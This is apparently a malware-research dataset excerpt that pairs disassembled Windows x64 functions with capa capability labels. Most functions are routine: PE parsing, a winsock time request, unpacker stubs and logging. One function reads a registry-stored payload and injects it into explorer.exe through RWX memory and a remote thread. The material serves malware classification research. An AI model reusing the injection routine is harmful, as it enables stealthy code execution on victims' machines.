joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400324ac
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14003252a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140032521
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140032521
mov rax, qword [rbp - 8]
jmp 0x14003253f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x1400324f4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400010a0
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
mov eax, 0x2238
call fcn.1400049a0
sub rsp, rax
mov rax, qword [0x1400270c8]
xor rax, rsp
mov qword [rsp + 0x2220], rax
lea rax, str.worldtimeapi.org
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x34], 0x50
lea rax, str._api_timezone_Europe_London.txt
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x80]
mov cx, 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x1400010fe
mov eax, 1
jmp 0x14000129d
mov rcx, qword [rsp + 0x48]
call sub.WS2_32.dll_gethostbyname
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140001124
call sub.WS2_32.dll_WSACleanup
mov ecx, 1
call fcn.140006da4
xor r8d, r8d
mov edx, 1
mov ecx, 2
call sub.WS2_32.dll_socket
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xffffffff
jne 0x140001150
call sub.WS2_32.dll_WSACleanup
mov ecx, 1
call fcn.140006da4
mov eax, 2
mov word [rsp + 0x68], ax
movzx ecx, word [rsp + 0x34]
call sub.WS2_32.dll_htons
mov word [rsp + 0x6a], ax
mov rax, qword [rsp + 0x40]
movsx rax, word [rax + 0x12]
mov ecx, 8
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x40]
mov rdx, qword [rdx + 0x18]
mov r8, rax
mov rdx, qword [rdx + rcx]
lea rcx, [rsp + 0x6c]
call fcn.140005470
movsxd rax, dword [rsp + 0x30]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x68]
mov rcx, rax
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x1400011cb
mov ecx, dword [rsp + 0x30]
call fcn.14000f768
call sub.WS2_32.dll_WSACleanup
mov ecx, 1
call fcn.140006da4
lea rax, str.GET__s_HTTP_1.1_r_nHost:__s_r_nConnection:_close_r_n_r_n
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
mov edx, 0x1000
lea rcx, [rsp + 0x220]
call fcn.140004520
lea rcx, [rsp + 0x220]
call fcn.1400069f0
movsxd rcx, dword [rsp + 0x30]
xor r9d, r9d
mov r8d, eax
lea rdx, [rsp + 0x220]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x14000123f
mov ecx, dword [rsp + 0x30]
call fcn.14000f768
call sub.WS2_32.dll_WSACleanup
mov ecx, 1
call fcn.140006da4
movsxd rax, dword [rsp + 0x30]
xor r9d, r9d
mov r8d, 0xfff
lea rdx, [rsp + 0x1220]
mov rcx, rax
call sub.WS2_32.dll_recv
cdqe
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jbe 0x14000127b
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x1220], 0x20
jmp 0x14000123f
lea r8, [rsp + 0x38]
lea rdx, str.unixtime
lea rcx, [rsp + 0x1220]
call section..text
call sub.WS2_32.dll_WSACleanup
mov eax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x2220]
xor rcx, rsp
call fcn.140004a00
add rsp, 0x2238
ret
Function at 0x140005150
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000519a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000519a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000519a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000519a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000519a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000519c
xor al, al
add rsp, 0x28
ret

Function at 0x140006da4
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140006c37
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006c37
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006c37
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006c37
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006c37
cmp dword [rcx + 0x84], 0xe
jbe 0x140006c37
cmp dword [rcx + 0xf8], 0
je 0x140006c37
mov ecx, ebx
call fcn.140006cd8
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140006ac8
cmp dword [rbp + 0x20], 0
je 0x140006c84
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140006c8c
int3
xor r8d, r8d
xor edx, edx
jmp 0x140006bd0
Function at 0x140667058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1406671df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140667089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14066706f
add dl, dl
jne 0x140667096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406670f6
xor eax, eax
add dl, dl
jne 0x1406670a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406671ad
add dl, dl
jne 0x1406670b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406670c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406670d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406670dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406670ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14066707e
mov eax, 1
add dl, dl
jne 0x140667106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140667113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406670fb
sub eax, ebx
mov ebx, 1
jne 0x14066714c
mov ecx, 1
add dl, dl
jne 0x14066712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14066713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140667123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14066707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140667168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140667175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14066715d
cmp eax, 0x7d00
jae 0x14066719b
cmp eax, 0x500
jb 0x140667196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14066707e
cmp eax, 0x7f
ja 0x14066719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14066707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406671d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14066707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180001000
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x150
xor edx, edx
mov dword [rsp + 0x20], 0x130
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000105c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.1800012a0
lea rdx, str.Failed_to_create_process_snapshot:__d_n
lea rcx, [rax + 0x60]
mov r8d, edi
call fcn.1800014b4
xor eax, eax
mov rbx, qword [rsp + 0x170]
add rsp, 0x150
pop rdi
ret
lea rdx, [rsp + 0x20]
mov rcx, rax
mov qword [rsp + 0x160], rbp
xor ebp, ebp
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1800010b5
mov qword [rsp + 0x168], rsi
lea rsi, str.explorer.exe
lea rdi, [rsp + 0x4c]
mov ecx, 0xd
repe cmpsb byte [rsi], byte [rdi]
je 0x1800010a9
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180001080
jmp 0x1800010ad
mov ebp, dword [rsp + 0x28]
mov rsi, qword [rsp + 0x168]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x170]
mov eax, ebp
mov rbp, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret
Function at 0x1800010e0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Inject thread
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
mov rbp, rsp
sub rsp, 0x50
mov ecx, 0x1f4
mov dword [rbp - 0x10], 0x61657771
mov dword [rbp - 0xc], 0x32336473
mov dword [rbp - 8], 0x63787a31
mov byte [rbp - 4], 0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rbp + 0x28]
lea rdx, str.Console
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor r12d, r12d
mov ecx, 0xbb8
mov dword [rbp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x28]
lea r11, [rbp + 0x20]
lea rdx, [rbp - 0x10]
xor r9d, r9d
mov qword [rsp + 0x28], r11
xor r8d, r8d
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x20]
call fcn.180001298
mov ecx, 0x1f4
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x28]
lea r11, [rbp + 0x20]
lea rdx, [rbp - 0x10]
xor r9d, r9d
mov qword [rsp + 0x28], r11
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x20]
call fcn.180001298
mov rsi, rax
cmp dword [rbp + 0x20], r12d
jbe 0x1800011e6
mov r8, rax
sub rbx, rax
mov rdx, rax
neg r8
nop dword [rax + rax]
movzx ecx, byte [rbx + rdx]
inc rdx
mov byte [rdx - 1], cl
mov eax, dword [rbp + 0x20]
lea rcx, [r8 + rdx]
cmp rcx, rax
jb 0x1800011d0
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.180001000
mov edx, 1
mov r8d, eax
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rbp + 0x20]
xor edx, edx
mov r9d, 0x3000
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rbp + 0x20]
mov r8, rsi
mov rcx, rdi
mov rdx, rax
mov rbx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r12
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x1800076f8
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x18000f220]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.180003984
xor ebx, ebx
cmp qword [0x18000fdd8], rbx
mov rdi, rax
jne 0x18000780b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1800078e2
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800078e2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x18000fdd8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x18000fde0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x18000fde8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x18000fdf8], rax
test rax, rax
je 0x180007802
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x18000fdf0], rax
jmp 0x180007812
mov rax, qword [0x18000fdf0]
jmp 0x180007819
mov rax, qword [0x18000fdf0]
mov r11, qword [0x18000fdf8]
cmp rax, rdi
je 0x180007880
cmp r11, rdi
je 0x180007880
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x18000fdf8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x180007880
test rax, rax
je 0x180007880
call rsi
test rax, rax
je 0x18000787a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x18000787a
test byte [rsp + 0x40], 1
jne 0x180007880
bts ebp, 0x15
jmp 0x1800078c0
mov rcx, qword [0x18000fde0]
cmp rcx, rdi
je 0x1800078c0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1800078c0
call rax
mov rbx, rax
test rax, rax
je 0x1800078c0
mov rcx, qword [0x18000fde8]
cmp rcx, rdi
je 0x1800078c0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1800078c0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x18000fdd8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1800078e2
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1800078e4
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180006e20
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180008c77
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x18000f220]
jne 0x180006e3a
rol rcx, 0x10
test cx, 0xffff
jne 0x180006e36
repz ret
ror rcx, 0x10
jmp 0x180008bd0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x18000feb0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x18000ffa8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180008c55
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x18000feb0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180008c77
mov rax, qword [rsp + 0x88]
mov qword [0x18000ffa8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x18000ff48], rax
mov rax, qword [0x18000ffa8]
mov qword [0x18000fe20], rax
mov rax, qword [rsp + 0x90]
mov qword [0x18000ff30], rax
mov dword [0x18000fe10], 0xc0000409
mov dword [0x18000fe14], 1
mov rax, qword [0x18000f220]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18000f228]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x18000fea8], eax
mov ecx, 1
call fcn.180006e40
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18000bcb0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x18000fea8], 0
jne 0x180008cfe
mov ecx, 1
call fcn.180006e40
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140283e90
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140283e9d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140283ead
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140283e95
lea eax, [rcx + 1]
jmp 0x140283ebb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x140283ece
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140283eb4
sub eax, 3
jb 0x140283eee
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140283f3d
sar eax, 1
movsxd rbp, eax
jb 0x140283f24
jmp 0x140283efc
add ebx, ebx
jne 0x140283efa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140283f24
inc ecx
add ebx, ebx
jne 0x140283f0a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140283f24
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140283f1d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140283f0c
add ecx, 2
jmp 0x140283f29
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140283e52
jmp 0x140283e9d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x167200
mov dl, 0x31
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140283f89
cmp rsi, rcx
jae 0x140283f91
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140283f70
cmp al, 0x8f
ja 0x140283f70
cmp byte [rsi - 2], 0xf
je 0x140283f76
sub al, 0xe8
cmp al, 1
ja 0x140283f5a
cmp rsi, rcx
jae 0x140283f91
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140283f60
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140283f91
lodsb al, byte [rsi]
jmp 0x140283f70
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x281000]
mov eax, dword [rdi]
or eax, eax
je 0x140283fee
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x2841dc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140283f9e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140283fe8
mov qword [rbx], rax
add rbx, 8
jmp 0x140283fbe
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x227]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140284046
sub rsp, 0xffffffffffffff80
jmp 0x1400ad6e2
Function at 0x140001010
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
push rsi
push rdi
push r14
lea rbp, [rsp - 0xfe68]
mov eax, 0xff68
call fcn.14000fa70
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xfe50], rax
movzx esi, cl
lea rcx, [0x14001ca80]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor r14d, r14d
lea rcx, str.c:userspublicgame.db
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400011d6
lea r9d, [r14 + 2]
mov qword [rsp + 0xff60], rbx
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
or rbx, 0xffffffffffffffff
mov dword [rsp + 0x50], r14d
test sil, sil
je 0x140001151
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
cmp byte [0x14001ca78], r14b
movzx ecx, word [rsp + 0x4a]
movzx edx, word [rsp + 0x48]
movzx eax, word [rsp + 0x4c]
movzx r10d, word [rsp + 0x46]
movzx r9d, word [rsp + 0x42]
movzx r8d, word [rsp + 0x40]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x28], edx
lea rdx, str._n_n__d__.2d__.2d__.2d:_.2d:_.2d_
mov dword [rsp + 0x20], r10d
jne 0x14000111c
lea rdx, str._n__d__.2d__.2d__.2d:_.2d:_.2d_
call fcn.140001b30
lea rax, [rsp + 0x60]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x140001130
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], r14
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor edx, edx
lea rcx, [rbp + 0x60]
mov r8d, 0xfde8
lea rsi, [rbp + 0xfea0]
call fcn.140002be0
call fcn.140001000
mov r9, qword [rbp + 0xfe98]
lea rdx, [rbp + 0x60]
mov qword [rsp + 0x28], rsi
mov r8d, 0xfde8
mov qword [rsp + 0x20], r14
mov rcx, qword [rax]
call fcn.140004884
lea rax, [rbp + 0x60]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x140001195
mov r8, rbx
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x50]
mov rcx, rdi
lea rdx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14001ca80]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rbx, qword [rsp + 0xff60]
mov rcx, qword [rbp + 0xfe50]
xor rcx, rsp
call fcn.140001c00
add rsp, 0xff68
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400019c0
Capabilities:
Check mutex on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0xf0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xe0], rax
mov rdi, rcx
lea r8, str.08CCCA02_4326_4C05_B764_EECEC4830425
xor ecx, ecx
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140001aff
test rbx, rbx
je 0x140001a18
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
lea rcx, [rsp + 0x60]
lea r8d, [rdx + 0x50]
call fcn.140002be0
lea rax, [0x140001850]
mov dword [rsp + 0x60], 0x50
lea rbx, str.GameClass
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0xa0], rbx
call qword [sym.imp.USER32.dll_RegisterClassExW]
test ax, ax
je 0x140001aff
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0x58], rax
xor r8d, r8d
mov qword [rsp + 0x50], rdi
mov rdx, rbx
mov qword [rsp + 0x48], rax
xor ecx, ecx
mov qword [rsp + 0x40], 0xfffffffffffffffd
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
test rax, rax
je 0x140001aff
xor r9d, r9d
lea rcx, [rsp + 0xb0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jle 0x140001af6
nop
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rsp + 0xb0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jg 0x140001ac0
mov eax, dword [rsp + 0xc0]
jmp 0x140001b01
xor eax, eax
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140001c00
mov rbx, qword [rsp + 0x108]
add rsp, 0xf0
pop rdi
ret